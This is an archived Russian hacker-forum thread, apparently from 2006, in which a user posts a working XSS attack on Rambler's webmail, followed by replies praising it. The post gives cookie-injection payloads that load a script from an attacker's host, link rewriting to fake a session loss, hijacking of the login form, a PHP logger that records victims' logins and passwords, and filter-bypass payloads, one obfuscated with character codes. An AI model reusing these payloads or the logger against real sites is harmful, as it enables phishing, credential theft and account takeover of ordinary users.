PDA

Просмотр полной версии : Реализация XSS на rambler.ru


Майор
17.09.2006, 23:28
Итак существует 2 веб-интерфейса этой почтовой службы - старый и новый
переключаются они между собой по ссылке
http://mail.rambler.ru/mail/settings.cgi?mode=usetest
(кстати именно со старого интерфейса можно отправлять письма в html формате )

I ) Введение:

Средствами javascritp Cookies не получить , так как они устанавливаются с флагом httponly , т е сессию пользователя нам не получить.
На главной странице ( http://www.rambler.ru/ ) есть XSS уязвимость в переменной rlogin которая находиться в cookies.
С помощью XSS мы изменяем этот параметр, делается это так:
document.cookie='rlogin=adress_jertvi"><script/src="http://nash_site.ru/r.js"></script><e@rambler.ru; path=/; domain=.rambler.ru';



далее нам надо перекинуть пользователя на страницу http://www.rambler.ru/ , но так чтобы он ничегь не заподозрил, поэтому мы меняем все ссылки на странице - на http://www.rambler.ru/

for(i=0;i<100;i++){if(document.links[i]){document.links[i].href="http://rambler.ru/";}}

теперь щелкнув, например, на значок "Входящие" пользователь попадает на http://www.rambler.ru/ , со стороны это выглядит как потеря сессии - что бывает

В скрипте r.js
пишем :


document.forms[1].action="http://nash_site/r.php";


атрибут action формы куда пользователь вводит пароль меняеться на http://nash_site/r.php

r.php - это нащ скрипт который записывает пароль и логин в файл и перенаправляет пользователя к нему в ящик

r.php :

<?php

$login = $_POST['login'];
$passw = $_POST['passw'];
$date = date("[D|d/m/Y|H:i]");
$fp=fopen("r.html","a");
fputs($fp,"
<br>Логин: $login
<br>Пароль: $passw
<br>Дата: $date
<br>IP: $REMOTE_ADDR
<br>USER_AGENT: $HTTP_USER_AGENT
");
fclose($fp);

header("Location: http://mail.rambler.ru/script/auth.cgi?domain=rambler.ru&login=$login&passw=$passw");

?>



II ) Реализация:

Старый интерфейс

там много XSS-уязвимостей, возьмем например

<table background='javascript:alert()'>


кодируем наш JS скрипт в ASCII

document.cookie='rlogin=serega104"><script/src="http://lamerdeath.h14.ru/r.js"></script><e@rambler.ru; path=/; domain=.rambler.ru';for(i=0;i<100;i++){if(document.links[i]){document.links[i].href="http://rambler.ru/";}}

Получаем:

<table background='javascript:document.cookie='rlogin=serega104"><script/src="http://lamerdeath.h14.ru/r.js"></script><e@rambler.ru; path=/; domain=.rambler.ru';for(i=0;i<100;i++){if(document.links[i]){document.links[i].href="http://rambler.ru/";}}'>



Новый интерфейс

Тут прикручен новый фильтр
Смотрим как работает фильтр:
Отправляем код
<img g >
смотрим во что превратил фильтр наш код:
<img g="g">
Вот она и XSS :

<img alert();//onload src="http://ya.ru/logo.gif">

фильтр превращает это в :

<img alert();//onload="alert();//onload" src="http://images.rambler.ru/_.gif">

что благополучно обрабатывается IE
( в Opere и Firefox XSS работать не будет, так как эти браузеры не признают слеш за разделитель атрибутов )

так как & превращается в &amp; и другие управляющие символы кодируются прежде чем попадают в значение обработчика событий onload , то кодируем наш скрипт так :


<img width=1 height=1 eval(String.fromCharCode(100,111,99,117,109,101,11 0,116,46,99,111,111,107,105,101,61,39,114,108,111, 103,105,110,61,115,101,114,101,103,97,49,48,52,34, 62,60,115,99,114,105,112,116,47,115,114,99,61,34,1 04,116,116,112,58,47,47,108,97,109,101,114,100,101 ,97,116,104,46,104,49,52,46,114,117,47,114,46,106, 115,34,62,60,47,115,99,114,105,112,116,62,60,101,6 4,114,97,109,98,108,101,114,46,114,117,59,32,112,9 7,116,104,61,47,59,32,100,111,109,97,105,110,61,46 ,114,97,109,98,108,101,114,46,114,117,39,59,102,11 1,114,40,105,61,48,59,105,60,49,48,48,59,105,43,43 ,41,123,105,102,40,100,111,99,117,109,101,110,116, 46,108,105,110,107,115,91,105,93,41,123,100,111,99 ,117,109,101,110,116,46,108,105,110,107,115,91,105 ,93,46,104,114,101,102,61,34,104,116,116,112,58,47 ,47,114,97,109,98,108,101,114,46,114,117,47,34,59, 125,125));//onload src="http://ya.ru/logo.gif">

ZikZak
17.09.2006, 23:39
Статья хорошая :)
Майор с твоими мозгами ты должен быть уже с репутацией гуру )))) лови +

_kREveDKo_
18.09.2006, 00:51
Жаль конечно что я с таким рвением искал в обоих движках активную хсс для закрытых разделов, а тут пришёл Майор и всё выложил... Понимаю, что скорее всего он даже не смотрел мои посты, но всёравно выходит обидно. Очень даже...

PinkPanther
19.09.2006, 01:51
Ну что я могу сказать дружище, ты как всегда на высоте!!

-SMith-
19.09.2006, 13:59
Респект

КИНГ
19.09.2006, 14:09
Здорово

limpompo
19.09.2006, 15:36
Респект + тебе... Красиво и понятно...

KoTeG
19.09.2006, 16:03
Отличная статья , респект

Muha
21.09.2006, 20:50
Респект. Хорошо объяснил